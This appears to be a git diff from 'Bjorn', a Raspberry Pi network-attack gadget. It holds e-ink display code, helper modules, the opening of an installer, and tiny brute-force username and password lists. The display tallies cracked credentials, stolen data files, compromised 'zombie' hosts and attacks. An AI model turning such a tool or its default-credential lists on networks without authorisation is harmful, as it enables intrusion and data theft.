self.comment_delay = random.randint(self.shared_data.comment_delaymin, self.shared_data.comment_delaymax) # Initialize comment_delay
|
||||||
|
self.last_theme = None # Initialize last_theme
|
||||||
|
self.themes = self.load_comments(self.shared_data.commentsfile) # Load themes from JSON file
|
||||||
|
|
||||||
|
def load_comments(self, commentsfile):
|
||||||
|
"""Load comments from a JSON file."""
|
||||||
|
cache_file = commentsfile + '.cache'
|
||||||
|
|
||||||
|
# Check if a cached version exists and is newer than the original file
|
||||||
|
if os.path.exists(cache_file) and os.path.getmtime(cache_file) >= os.path.getmtime(commentsfile):
|
||||||
|
try:
|
||||||
|
with open(cache_file, 'r') as file:
|
||||||
|
comments_data = json.load(file)
|
||||||
|
logger.info("Comments loaded successfully from cache.")
|
||||||
|
return comments_data
|
||||||
|
except (FileNotFoundError, json.JSONDecodeError):
|
||||||
|
logger.warning("Cache file is corrupted or not found. Loading from the original file.")
|
||||||
|
|
||||||
|
# Load from the original file if cache is not used or corrupted
|
||||||
|
try:
|
||||||
|
with open(commentsfile, 'r') as file:
|
||||||
|
comments_data = json.load(file)
|
||||||
|
logger.info("Comments loaded successfully from JSON file.")
|
||||||
|
# Save to cache
|
||||||
|
with open(cache_file, 'w') as cache:
|
||||||
|
json.dump(comments_data, cache)
|
||||||
|
return comments_data
|
||||||
|
except FileNotFoundError:
|
||||||
|
logger.error(f"The file '{commentsfile}' was not found.")
|
||||||
|
return {"IDLE": ["Default comment, no comments file found."]} # Fallback to a default theme
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
logger.error(f"The file '{commentsfile}' is not a valid JSON file.")
|
||||||
|
return {"IDLE": ["Default comment, invalid JSON format."]} # Fallback to a default theme
|
||||||
|
|
||||||
|
def get_commentaire(self, theme):
|
||||||
|
""" This method returns a random comment based on the specified theme."""
|
||||||
|
current_time = time.time() # Get the current time in seconds
|
||||||
|
if theme != self.last_theme or current_time - self.last_comment_time >= self.comment_delay: # Check if the theme has changed or if the delay has expired
|
||||||
|
self.last_comment_time = current_time # Update the last comment time
|
||||||
|
self.last_theme = theme # Update the last theme
|
||||||
|
|
||||||
|
if theme not in self.themes:
|
||||||
|
logger.warning(f"The theme '{theme}' is not defined, using the default theme IDLE.")
|
||||||
|
theme = "IDLE"
|
||||||
|
|
||||||
|
return random.choice(self.themes[theme]) # Return a random comment based on the specified theme
|
||||||
|
else:
|
||||||
|
return None
|
||||||
3
data/input/dictionary/passwords.txt
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
root
|
||||||
|
admin
|
||||||
|
bjorn
|
||||||
3
data/input/dictionary/users.txt
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
root
|
||||||
|
admin
|
||||||
|
bjorn
|
||||||
385
display.py
Normal file
@@ -0,0 +1,385 @@
|
|||||||
|
#display.py
|
||||||
|
# Description:
|
||||||
|
# This file, display.py, is responsible for managing the e-ink display of the Bjorn project, updating it with relevant data and statuses.
|
||||||
|
# It initializes the display, manages multiple threads for updating shared data and vulnerability counts, and handles the rendering of information
|
||||||
|
# and images on the display.
|
||||||
|
#
|
||||||
|
# Key functionalities include:
|
||||||
|
# - Initializing the e-ink display (EPD) and handling any errors during initialization.
|
||||||
|
# - Creating and managing threads to periodically update shared data and vulnerability counts.
|
||||||
|
# - Rendering various statistics, status icons, and images on the e-ink display.
|
||||||
|
# - Handling updates to shared data from various sources, including CSV files and system commands.
|
||||||
|
# - Checking and displaying the status of Bluetooth, Wi-Fi, PAN, and USB connections.
|
||||||
|
# - Providing methods to update the display with comments from an AI (Commentaireia) and generating images dynamically.
|
||||||
|
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
import os
|
||||||
|
import pandas as pd
|
||||||
|
import signal
|
||||||
|
import glob
|
||||||
|
import logging
|
||||||
|
import random
|
||||||
|
import sys
|
||||||
|
from PIL import Image, ImageDraw
|
||||||
|
from init_shared import shared_data
|
||||||
|
from comment import Commentaireia
|
||||||
|
from logger import Logger
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
logger = Logger(name="display.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
class Display:
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
"""Initialize the display and start the main image and shared data update threads."""
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.shared_data.bjornstatustext2 = "Awakening..."
|
||||||
|
self.commentaire_ia = Commentaireia()
|
||||||
|
self.semaphore = threading.Semaphore(10)
|
||||||
|
self.screen_reversed = self.shared_data.screen_reversed
|
||||||
|
self.web_screen_reversed = self.shared_data.web_screen_reversed
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.epd_helper = self.shared_data.epd_helper
|
||||||
|
self.epd_helper.init_partial_update()
|
||||||
|
logger.info("Display initialization complete.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error during display initialization: {e}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
self.main_image_thread = threading.Thread(target=self.update_main_image)
|
||||||
|
self.main_image_thread.daemon = True
|
||||||
|
self.main_image_thread.start()
|
||||||
|
|
||||||
|
self.update_shared_data_thread = threading.Thread(target=self.schedule_update_shared_data)
|
||||||
|
self.update_shared_data_thread.daemon = True
|
||||||
|
self.update_shared_data_thread.start()
|
||||||
|
|
||||||
|
self.update_vuln_count_thread = threading.Thread(target=self.schedule_update_vuln_count)
|
||||||
|
self.update_vuln_count_thread.daemon = True
|
||||||
|
self.update_vuln_count_thread.start()
|
||||||
|
|
||||||
|
self.scale_factor_x = self.shared_data.scale_factor_x
|
||||||
|
self.scale_factor_y = self.shared_data.scale_factor_y
|
||||||
|
|
||||||
|
def schedule_update_shared_data(self):
|
||||||
|
"""Periodically update the shared data with the latest system information."""
|
||||||
|
while not self.shared_data.display_should_exit:
|
||||||
|
self.update_shared_data()
|
||||||
|
time.sleep(25)
|
||||||
|
|
||||||
|
def schedule_update_vuln_count(self):
|
||||||
|
"""Periodically update the vulnerability count on the display."""
|
||||||
|
while not self.shared_data.display_should_exit:
|
||||||
|
self.update_vuln_count()
|
||||||
|
time.sleep(300)
|
||||||
|
|
||||||
|
def update_main_image(self):
|
||||||
|
"""Update the main image on the display with the latest immagegen data."""
|
||||||
|
while not self.shared_data.display_should_exit:
|
||||||
|
try:
|
||||||
|
self.shared_data.update_image_randomizer()
|
||||||
|
if self.shared_data.imagegen:
|
||||||
|
self.main_image = self.shared_data.imagegen
|
||||||
|
else:
|
||||||
|
logger.error("No image generated for current status.")
|
||||||
|
time.sleep(random.uniform(self.shared_data.image_display_delaymin, self.shared_data.image_display_delaymax))
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"An error occurred in update_main_image: {e}")
|
||||||
|
def get_open_files(self):
|
||||||
|
"""Get the number of open FD files on the system."""
|
||||||
|
try:
|
||||||
|
open_files = len(glob.glob('/proc/*/fd/*'))
|
||||||
|
logger.debug(f"FD : {open_files}")
|
||||||
|
return open_files
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error getting open files: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def update_vuln_count(self):
|
||||||
|
"""Update the vulnerability count on the display."""
|
||||||
|
with self.semaphore:
|
||||||
|
try:
|
||||||
|
if not os.path.exists(self.shared_data.vuln_summary_file):
|
||||||
|
# Create the file with the necessary columns if it does not exist
|
||||||
|
df = pd.DataFrame(columns=["IP", "Hostname", "MAC Address", "Port", "Vulnerabilities"])
|
||||||
|
df.to_csv(self.shared_data.vuln_summary_file, index=False)
|
||||||
|
self.shared_data.vulnnbr = 0
|
||||||
|
logger.info("Vulnerability summary file created.")
|
||||||
|
else:
|
||||||
|
# Load the netkbfile to check for "Alive" IPs
|
||||||
|
if os.path.exists(self.shared_data.netkbfile):
|
||||||
|
with open(self.shared_data.netkbfile, 'r') as file:
|
||||||
|
netkb_df = pd.read_csv(file)
|
||||||
|
alive_macs = set(netkb_df[(netkb_df["Alive"] == 1) & (netkb_df["MAC Address"] != "STANDALONE")]["MAC Address"]) # Get all alive MACs based on the 'Alive' column and ignore "STANDALONE"
|
||||||
|
else:
|
||||||
|
alive_macs = set()
|
||||||
|
|
||||||
|
with open(self.shared_data.vuln_summary_file, 'r') as file:
|
||||||
|
df = pd.read_csv(file)
|
||||||
|
all_vulnerabilities = set()
|
||||||
|
|
||||||
|
for index, row in df.iterrows():
|
||||||
|
mac_address = row["MAC Address"]
|
||||||
|
if mac_address in alive_macs and mac_address != "STANDALONE": # Ignore "STANDALONE" MAC addresses
|
||||||
|
vulnerabilities = row["Vulnerabilities"]
|
||||||
|
if pd.isna(vulnerabilities) or not isinstance(vulnerabilities, str): # Check if vulnerabilities is NaN or not a string
|
||||||
|
# logger.debug(f"No valid vulnerabilities for MAC Address: {mac_address}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
if vulnerabilities and isinstance(vulnerabilities, str):
|
||||||
|
all_vulnerabilities.update(vulnerabilities.split("; ")) # Add the vulnerabilities to the set
|
||||||
|
|
||||||
|
self.shared_data.vulnnbr = len(all_vulnerabilities)
|
||||||
|
logger.debug(f"Updated vulnerabilities count: {self.shared_data.vulnnbr}")
|
||||||
|
|
||||||
|
# Update the livestatusfile
|
||||||
|
if os.path.exists(self.shared_data.livestatusfile):
|
||||||
|
with open(self.shared_data.livestatusfile, 'r+') as livestatus_file:
|
||||||
|
livestatus_df = pd.read_csv(livestatus_file)
|
||||||
|
livestatus_df.loc[0, 'Vulnerabilities Count'] = self.shared_data.vulnnbr
|
||||||
|
livestatus_df.to_csv(self.shared_data.livestatusfile, index=False)
|
||||||
|
logger.debug(f"Updated livestatusfile with vulnerability count: {self.shared_data.vulnnbr}")
|
||||||
|
else:
|
||||||
|
logger.error(f"Livestatusfile {self.shared_data.livestatusfile} does not exist.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"An error occurred in update_vuln_count: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
def update_shared_data(self):
|
||||||
|
"""Update the shared data with the latest system information."""
|
||||||
|
with self.semaphore:
|
||||||
|
"""
|
||||||
|
Update shared data from CSV files live_status.csv and cracked_passwords.csv.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
with open(self.shared_data.livestatusfile, 'r') as file:
|
||||||
|
livestatus_df = pd.read_csv(file)
|
||||||
|
self.shared_data.portnbr = livestatus_df['Total Open Ports'].iloc[0] # Get the total number of open ports
|
||||||
|
self.shared_data.targetnbr = livestatus_df['Alive Hosts Count'].iloc[0] # Get the total number of alive hosts
|
||||||
|
self.shared_data.networkkbnbr = livestatus_df['All Known Hosts Count'].iloc[0] # Get the total number of known hosts
|
||||||
|
self.shared_data.vulnnbr = livestatus_df['Vulnerabilities Count'].iloc[0] # Get the total number of vulnerable ports
|
||||||
|
|
||||||
|
crackedpw_files = glob.glob(f"{self.shared_data.crackedpwddir}/*.csv") # Get all CSV files in the cracked password directory
|
||||||
|
|
||||||
|
total_passwords = 0
|
||||||
|
for file in crackedpw_files:
|
||||||
|
with open(file, 'r') as f:
|
||||||
|
total_passwords += len(pd.read_csv(f, usecols=[0]))
|
||||||
|
|
||||||
|
self.shared_data.crednbr = total_passwords # Set the total number of cracked passwords to shared data
|
||||||
|
|
||||||
|
total_data = sum([len(files) for r, d, files in os.walk(self.shared_data.datastolendir)]) # Get the total number of data files in the data store directory
|
||||||
|
self.shared_data.datanbr = total_data
|
||||||
|
|
||||||
|
total_zombies = sum([len(files) for r, d, files in os.walk(self.shared_data.zombiesdir)]) # Get the total number of zombies in the zombies directory
|
||||||
|
self.shared_data.zombiesnbr = total_zombies
|
||||||
|
total_attacks = sum([len(files) for r, d, files in os.walk(self.shared_data.actions_dir) if not r.endswith("__pycache__")]) - 2
|
||||||
|
|
||||||
|
self.shared_data.attacksnbr = total_attacks
|
||||||
|
|
||||||
|
self.shared_data.update_stats()
|
||||||
|
# Update Bluetooth, WiFi, and PAN connection status
|
||||||
|
self.shared_data.manual_mode = self.is_manual_mode()
|
||||||
|
if self.shared_data.manual_mode:
|
||||||
|
self.manual_mode_txt = "M"
|
||||||
|
else:
|
||||||
|
self.manual_mode_txt = "A"
|
||||||
|
# # self.shared_data.bluetooth_active = self.is_bluetooth_connected()
|
||||||
|
self.shared_data.wifi_connected = self.is_wifi_connected()
|
||||||
|
self.shared_data.usb_active = self.is_usb_connected()
|
||||||
|
########self.shared_data.pan_connected = self.is_interface_connected('pan0') or self.is_interface_connected('usb0')
|
||||||
|
self.get_open_files()
|
||||||
|
|
||||||
|
except (FileNotFoundError, pd.errors.EmptyDataError) as e:
|
||||||
|
logger.error(f"Error: {e}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error updating shared data: {e}")
|
||||||
|
|
||||||
|
def display_comment(self, status):
|
||||||
|
""" Display the comment based on the status of the BjornOrch. """
|
||||||
|
comment = self.commentaire_ia.get_commentaire(status) # Get the comment from Commentaireia
|
||||||
|
if comment:
|
||||||
|
self.shared_data.bjornsay = comment # Set the comment to shared data
|
||||||
|
self.shared_data.bjornstatustext = self.shared_data.bjornorch_status # Set the status to shared data
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# # # def is_bluetooth_connected(self):
|
||||||
|
# # # """
|
||||||
|
# # # Check if any device is connected to the Bluetooth (pan0) interface by checking the output of 'ip neigh show dev pan0'.
|
||||||
|
# # # """
|
||||||
|
# # # try:
|
||||||
|
# # # result = subprocess.Popen(['ip', 'neigh', 'show', 'dev', 'pan0'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||||
|
# # # output, error = result.communicate()
|
||||||
|
# # # if result.returncode != 0:
|
||||||
|
# # # logger.error(f"Error executing 'ip neigh show dev pan0': {error}")
|
||||||
|
# # # return False
|
||||||
|
# # # return bool(output.strip())
|
||||||
|
# # # except Exception as e:
|
||||||
|
# # # logger.error(f"Error checking Bluetooth connection status: {e}")
|
||||||
|
# # # return False
|
||||||
|
|
||||||
|
def is_wifi_connected(self):
|
||||||
|
"""
|
||||||
|
Check if WiFi is connected by checking the current SSID.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
result = subprocess.Popen(['iwgetid', '-r'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||||
|
ssid, error = result.communicate()
|
||||||
|
if result.returncode != 0:
|
||||||
|
logger.error(f"Error executing 'iwgetid -r': {error}")
|
||||||
|
return False
|
||||||
|
return bool(ssid.strip()) # Return True if connected to a WiFi network
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error checking WiFi status: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def is_manual_mode(self):
|
||||||
|
"""Check if the BjornOrch is in manual mode."""
|
||||||
|
return self.shared_data.manual_mode
|
||||||
|
|
||||||
|
def is_interface_connected(self, interface):
|
||||||
|
"""
|
||||||
|
Check if any device is connected to the specified interface (pan0 or usb0)
|
||||||
|
by checking the output of 'ip neigh show dev <interface>'.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
result = subprocess.Popen(['ip', 'neigh', 'show', 'dev', interface], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||||
|
output, error = result.communicate()
|
||||||
|
if result.returncode != 0:
|
||||||
|
logger.error(f"Error executing 'ip neigh show dev {interface}': {error}")
|
||||||
|
return False
|
||||||
|
return bool(output.strip())
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error checking connection status on {interface}: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def is_usb_connected(self):
|
||||||
|
"""
|
||||||
|
Check if any device is connected to the USB (usb0) interface by checking the output of 'ip neigh show dev usb0'.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
result = subprocess.Popen(['ip', 'neigh', 'show', 'dev', 'usb0'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||||
|
output, error = result.communicate()
|
||||||
|
if result.returncode != 0:
|
||||||
|
logger.error(f"Error executing 'ip neigh show dev usb0': {error}")
|
||||||
|
return False
|
||||||
|
return bool(output.strip())
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error checking USB connection status: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
"""
|
||||||
|
Main loop for updating the EPD display with shared data.
|
||||||
|
"""
|
||||||
|
self.manual_mode_txt = ""
|
||||||
|
while not self.shared_data.display_should_exit:
|
||||||
|
try:
|
||||||
|
self.epd_helper.init_partial_update()
|
||||||
|
self.display_comment(self.shared_data.bjornorch_status) # Display the comment
|
||||||
|
image = Image.new('1', (self.shared_data.width, self.shared_data.height))
|
||||||
|
draw = ImageDraw.Draw(image)
|
||||||
|
draw.rectangle((0, 0, self.shared_data.width, self.shared_data.height), fill=255)
|
||||||
|
draw.text((int(37 * self.scale_factor_x), int(5 * self.scale_factor_y)), "BJORN", font=self.shared_data.font_viking, fill=0)
|
||||||
|
draw.text((int(110 * self.scale_factor_x), int(170 * self.scale_factor_y)), self.manual_mode_txt, font=self.shared_data.font_arial14, fill=0)
|
||||||
|
if self.shared_data.wifi_connected:
|
||||||
|
image.paste(self.shared_data.wifi, (int(3 * self.scale_factor_x), int(3 * self.scale_factor_y)))
|
||||||
|
# # # if self.shared_data.bluetooth_active:
|
||||||
|
# # # image.paste(self.shared_data.bluetooth, (int(23 * self.scale_factor_x), int(4 * self.scale_factor_y)))
|
||||||
|
if self.shared_data.pan_connected:
|
||||||
|
image.paste(self.shared_data.connected, (int(104 * self.scale_factor_x), int(3 * self.scale_factor_y)))
|
||||||
|
if self.shared_data.usb_active:
|
||||||
|
image.paste(self.shared_data.usb, (int(90 * self.scale_factor_x), int(4 * self.scale_factor_y)))
|
||||||
|
|
||||||
|
stats = [
|
||||||
|
(self.shared_data.target, (int(8 * self.scale_factor_x), int(22 * self.scale_factor_y)), (int(28 * self.scale_factor_x), int(22 * self.scale_factor_y)), str(self.shared_data.targetnbr)),
|
||||||
|
(self.shared_data.port, (int(47 * self.scale_factor_x), int(22 * self.scale_factor_y)), (int(67 * self.scale_factor_x), int(22 * self.scale_factor_y)), str(self.shared_data.portnbr)),
|
||||||
|
(self.shared_data.vuln, (int(86 * self.scale_factor_x), int(22 * self.scale_factor_y)), (int(106 * self.scale_factor_x), int(22 * self.scale_factor_y)), str(self.shared_data.vulnnbr)),
|
||||||
|
(self.shared_data.cred, (int(8 * self.scale_factor_x), int(41 * self.scale_factor_y)), (int(28 * self.scale_factor_x), int(41 * self.scale_factor_y)), str(self.shared_data.crednbr)),
|
||||||
|
(self.shared_data.money, (int(3 * self.scale_factor_x), int(172 * self.scale_factor_y)), (int(3 * self.scale_factor_x), int(192 * self.scale_factor_y)), str(self.shared_data.coinnbr)),
|
||||||
|
(self.shared_data.level, (int(2 * self.scale_factor_x), int(217 * self.scale_factor_y)), (int(4 * self.scale_factor_x), int(237 * self.scale_factor_y)), str(self.shared_data.levelnbr)),
|
||||||
|
(self.shared_data.zombie, (int(47 * self.scale_factor_x), int(41 * self.scale_factor_y)), (int(67 * self.scale_factor_x), int(41 * self.scale_factor_y)), str(self.shared_data.zombiesnbr)),
|
||||||
|
(self.shared_data.networkkb, (int(102 * self.scale_factor_x), int(190 * self.scale_factor_y)), (int(102 * self.scale_factor_x), int(208 * self.scale_factor_y)), str(self.shared_data.networkkbnbr)),
|
||||||
|
(self.shared_data.data, (int(86 * self.scale_factor_x), int(41 * self.scale_factor_y)), (int(106 * self.scale_factor_x), int(41 * self.scale_factor_y)), str(self.shared_data.datanbr)),
|
||||||
|
(self.shared_data.attacks, (int(100 * self.scale_factor_x), int(218 * self.scale_factor_y)), (int(102 * self.scale_factor_x), int(237 * self.scale_factor_y)), str(self.shared_data.attacksnbr)),
|
||||||
|
]
|
||||||
|
|
||||||
|
for img, img_pos, text_pos, text in stats:
|
||||||
|
image.paste(img, img_pos)
|
||||||
|
draw.text(text_pos, text, font=self.shared_data.font_arial9, fill=0)
|
||||||
|
|
||||||
|
self.shared_data.update_bjornstatus()
|
||||||
|
image.paste(self.shared_data.bjornstatusimage, (int(3 * self.scale_factor_x), int(60 * self.scale_factor_y)))
|
||||||
|
draw.text((int(35 * self.scale_factor_x), int(65 * self.scale_factor_y)), self.shared_data.bjornstatustext, font=self.shared_data.font_arial9, fill=0)
|
||||||
|
draw.text((int(35 * self.scale_factor_x), int(75 * self.scale_factor_y)), self.shared_data.bjornstatustext2, font=self.shared_data.font_arial9, fill=0)
|
||||||
|
|
||||||
|
image.paste(self.shared_data.frise, (int(0 * self.scale_factor_x), int(160 * self.scale_factor_y)))
|
||||||
|
|
||||||
|
draw.rectangle((1, 1, self.shared_data.width - 1, self.shared_data.height - 1), outline=0)
|
||||||
|
draw.line((1, 20, self.shared_data.width - 1, 20), fill=0)
|
||||||
|
draw.line((1, 59, self.shared_data.width - 1, 59), fill=0)
|
||||||
|
draw.line((1, 87, self.shared_data.width - 1, 87), fill=0)
|
||||||
|
|
||||||
|
lines = self.shared_data.wrap_text(self.shared_data.bjornsay, self.shared_data.font_arialbold, self.shared_data.width - 4)
|
||||||
|
y_text = int(90 * self.scale_factor_y)
|
||||||
|
|
||||||
|
if self.main_image is not None:
|
||||||
|
image.paste(self.main_image, (self.shared_data.x_center1, self.shared_data.y_bottom1))
|
||||||
|
else:
|
||||||
|
logger.error("Main image not found in shared_data.")
|
||||||
|
|
||||||
|
for line in lines:
|
||||||
|
draw.text((int(4 * self.scale_factor_x), y_text), line, font=self.shared_data.font_arialbold, fill=0) # Display the comment
|
||||||
|
y_text += (self.shared_data.font_arialbold.getbbox(line)[3] - self.shared_data.font_arialbold.getbbox(line)[1]) + 3 # Calculate the height of the text depending on the font size, 3 means the space between lines
|
||||||
|
if self.screen_reversed:
|
||||||
|
image = image.transpose(Image.ROTATE_180)
|
||||||
|
|
||||||
|
|
||||||
|
self.epd_helper.display_partial(image)
|
||||||
|
self.epd_helper.display_partial(image)
|
||||||
|
|
||||||
|
if self.web_screen_reversed:
|
||||||
|
image = image.transpose(Image.ROTATE_180)
|
||||||
|
with open(os.path.join(self.shared_data.webdir, "screen.png"), 'wb') as img_file:
|
||||||
|
image.save(img_file)
|
||||||
|
img_file.flush()
|
||||||
|
os.fsync(img_file.fileno())
|
||||||
|
|
||||||
|
time.sleep(self.shared_data.screen_delay)
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"An exception occurred: {e}")
|
||||||
|
|
||||||
|
def handle_exit_display(signum, frame, display_thread):
|
||||||
|
"""Handle the exit signal and close the display."""
|
||||||
|
global should_exit
|
||||||
|
shared_data.display_should_exit = True
|
||||||
|
logger.info("Exit signal received. Waiting for the main loop to finish...")
|
||||||
|
try:
|
||||||
|
if main_loop and main_loop.epd:
|
||||||
|
main_loop.epd.init(main_loop.epd.sleep)
|
||||||
|
main_loop.epd.Dev_exit()
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error while closing the display: {e}")
|
||||||
|
display_thread.join()
|
||||||
|
logger.info("Main loop finished. Clean exit.")
|
||||||
|
sys.exit(0) # Used sys.exit(0) instead of exit(0)
|
||||||
|
|
||||||
|
# Declare main_loop globally
|
||||||
|
main_loop = None
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
logger.info("Starting main loop...")
|
||||||
|
main_loop = Display(shared_data)
|
||||||
|
display_thread = threading.Thread(target=main_loop.run)
|
||||||
|
display_thread.start()
|
||||||
|
logger.info("Main loop started.")
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, lambda signum, frame: handle_exit_display(signum, frame, display_thread))
|
||||||
|
signal.signal(signal.SIGTERM, lambda signum, frame: handle_exit_display(signum, frame, display_thread))
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"An exception occurred during program execution: {e}")
|
||||||
|
handle_exit_display(signal.SIGINT, None, display_thread)
|
||||||
|
sys.exit(1) # Used sys.exit(1) instead of exit(1)
|
||||||
68
epd_helper.py
Normal file
@@ -0,0 +1,68 @@
|
|||||||
|
# epd_helper.py
|
||||||
|
|
||||||
|
import importlib
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
class EPDHelper:
|
||||||
|
def __init__(self, epd_type):
|
||||||
|
self.epd_type = epd_type
|
||||||
|
self.epd = self._load_epd_module()
|
||||||
|
|
||||||
|
def _load_epd_module(self):
|
||||||
|
try:
|
||||||
|
epd_module_name = f'resources.waveshare_epd.{self.epd_type}'
|
||||||
|
epd_module = importlib.import_module(epd_module_name)
|
||||||
|
return epd_module.EPD()
|
||||||
|
except ImportError as e:
|
||||||
|
logger.error(f"EPD module {self.epd_type} not found: {e}")
|
||||||
|
raise
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error loading EPD module {self.epd_type}: {e}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
def init_full_update(self):
|
||||||
|
try:
|
||||||
|
if hasattr(self.epd, 'FULL_UPDATE'):
|
||||||
|
self.epd.init(self.epd.FULL_UPDATE)
|
||||||
|
elif hasattr(self.epd, 'lut_full_update'):
|
||||||
|
self.epd.init(self.epd.lut_full_update)
|
||||||
|
else:
|
||||||
|
self.epd.init()
|
||||||
|
logger.info("EPD full update initialization complete.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error initializing EPD for full update: {e}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
def init_partial_update(self):
|
||||||
|
try:
|
||||||
|
if hasattr(self.epd, 'PART_UPDATE'):
|
||||||
|
self.epd.init(self.epd.PART_UPDATE)
|
||||||
|
elif hasattr(self.epd, 'lut_partial_update'):
|
||||||
|
self.epd.init(self.epd.lut_partial_update)
|
||||||
|
else:
|
||||||
|
self.epd.init()
|
||||||
|
logger.info("EPD partial update initialization complete.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error initializing EPD for partial update: {e}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
def display_partial(self, image):
|
||||||
|
try:
|
||||||
|
if hasattr(self.epd, 'displayPartial'):
|
||||||
|
self.epd.displayPartial(self.epd.getbuffer(image))
|
||||||
|
else:
|
||||||
|
self.epd.display(self.epd.getbuffer(image))
|
||||||
|
logger.info("Partial display update complete.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error during partial display update: {e}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
def clear(self):
|
||||||
|
try:
|
||||||
|
self.epd.Clear()
|
||||||
|
logger.info("EPD cleared.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error clearing EPD: {e}")
|
||||||
|
raise
|
||||||
13
init_shared.py
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
#init_shared.py
|
||||||
|
# Description:
|
||||||
|
# This file, init_shared.py, is responsible for initializing and providing access to shared data across different modules in the Bjorn project.
|
||||||
|
#
|
||||||
|
# Key functionalities include:
|
||||||
|
# - Importing the `SharedData` class from the `shared` module.
|
||||||
|
# - Creating an instance of `SharedData` named `shared_data` that holds common configuration, paths, and other resources.
|
||||||
|
# - Ensuring that all modules importing `shared_data` will have access to the same instance, promoting consistency and ease of data management throughout the project.
|
||||||
|
|
||||||
|
|
||||||
|
from shared import SharedData
|
||||||
|
|
||||||
|
shared_data = SharedData()
|
||||||
596
install_bjorn.sh
Normal file
@@ -0,0 +1,596 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# BJORN Installation Script
|
||||||
|
# This script handles the complete installation of BJORN
|
||||||
|
# Author: infinition
|
||||||
|
# Version: 1.0 - 071124 - 0954
|
||||||
|
|
||||||
|
# Colors for output
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
# Logging configuration
|
||||||
|
LOG_DIR="/var/log/bjorn_install"
|
||||||
|
mkdir -p "$LOG_DIR"
|
||||||
|
LOG_FILE="$LOG_DIR/bjorn_install_$(date +%Y%m%d_%H%M%S).log"
|
||||||
|
VERBOSE=false
|
||||||
|
|
||||||
|
# Global variables
|
||||||
|
BJORN_USER="bjorn"
|
||||||
|
BJORN_PATH="/home/${BJORN_USER}/Bjorn"
|
||||||
|
CURRENT_STEP=0
|
||||||
|
TOTAL_STEPS=8
|
||||||
|
|
||||||
|
if [[ "$1" == "--help" ]]; then
|
||||||
|
echo "Usage: sudo ./install_bjorn.sh"
|
||||||
|
echo "Make sure you have the necessary permissions and that all dependencies are met."
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Function to display progress
|
||||||
|
show_progress() {
|
||||||
|
echo -e "${BLUE}Step $CURRENT_STEP of $TOTAL_STEPS: $1${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Logging function
|
||||||
|
log() {
|
||||||
|
local level=$1
|
||||||
|
shift
|
||||||
|
local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*"
|
||||||
|
echo -e "$message" >> "$LOG_FILE"
|
||||||
|
if [ "$VERBOSE" = true ] || [ "$level" != "DEBUG" ]; then
|
||||||
|
case $level in
|
||||||
|
"ERROR") echo -e "${RED}$message${NC}" ;;
|
||||||
|
"SUCCESS") echo -e "${GREEN}$message${NC}" ;;
|
||||||
|
"WARNING") echo -e "${YELLOW}$message${NC}" ;;
|
||||||
|
"INFO") echo -e "${BLUE}$message${NC}" ;;
|
||||||
|
*) echo -e "$message" ;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Error handling function
|
||||||
|
handle_error() {
|
||||||
|
local error_code=$?
|
||||||
|
local error_message=$1
|
||||||
|
log "ERROR" "An error occurred during: $error_message (Error code: $error_code)"
|
||||||
|
